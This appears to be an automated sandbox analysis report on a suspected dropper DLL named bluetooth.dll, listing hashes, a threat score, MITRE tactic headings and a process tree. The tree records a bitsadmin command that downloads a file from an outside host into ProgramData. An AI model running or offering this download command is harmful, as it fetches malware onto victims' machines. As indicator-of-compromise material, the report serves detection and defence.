d0ee008d3c480d5f9f75332851ae94373158c13541f3c88be63465b975334e0a

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 18:24

Target
bluetooth.dll
Size 42KB
Sample260910-w2bhbatglb
SHA256 d0ee008d3c480d5f9f75332851ae94373158c13541f3c88be63465b975334e0a
MD5 14b4e5a1385053ea0ad688f6d981844d
SHA1 a52074000948336c280572bd4b392deaa1c572ab
SHA512 d3769c6484ca1faec4834aca1d64a4d7f452e070db82e91515e70e00d33b917a7a623fdb96f4ac7ec2e51563f1310f7474b3c64d94c3a0d9ca108751472f3b1c
SSDEEP 768:rOa/FfGkc/kPJ2Efvq/u0mQfotNsvr6L1MePrGrWj1K5yhUudcd:rOatfGkq4qVfysvrM1MCISs
TLSH
T1CB133B0BFAA354FCC1D7D578429B96B1F832FC140121AD6E0AE4EE326E55D4077AFA09
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

dropper

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

pid	Process
4664	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4532	rundll32.exe
4532	rundll32.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 4664	4532	rundll32.exe	86

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bluetooth.dll,#1
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Windows\system32\bitsadmin.exe
  bitsadmin /transfer mydownloadjob /download /priority normal "http://ultraflavors.com/winocb.txt" "C:\ProgramData\winocb.txt"
  2⤵
  - Download via BitsAdmin
  PID:4664

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

Privilege Escalation

Defense Evasion

BITS Jobs

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/4532-0-0x00007FFA872B0000-0x00007FFA872C2000-memory.dmp

Download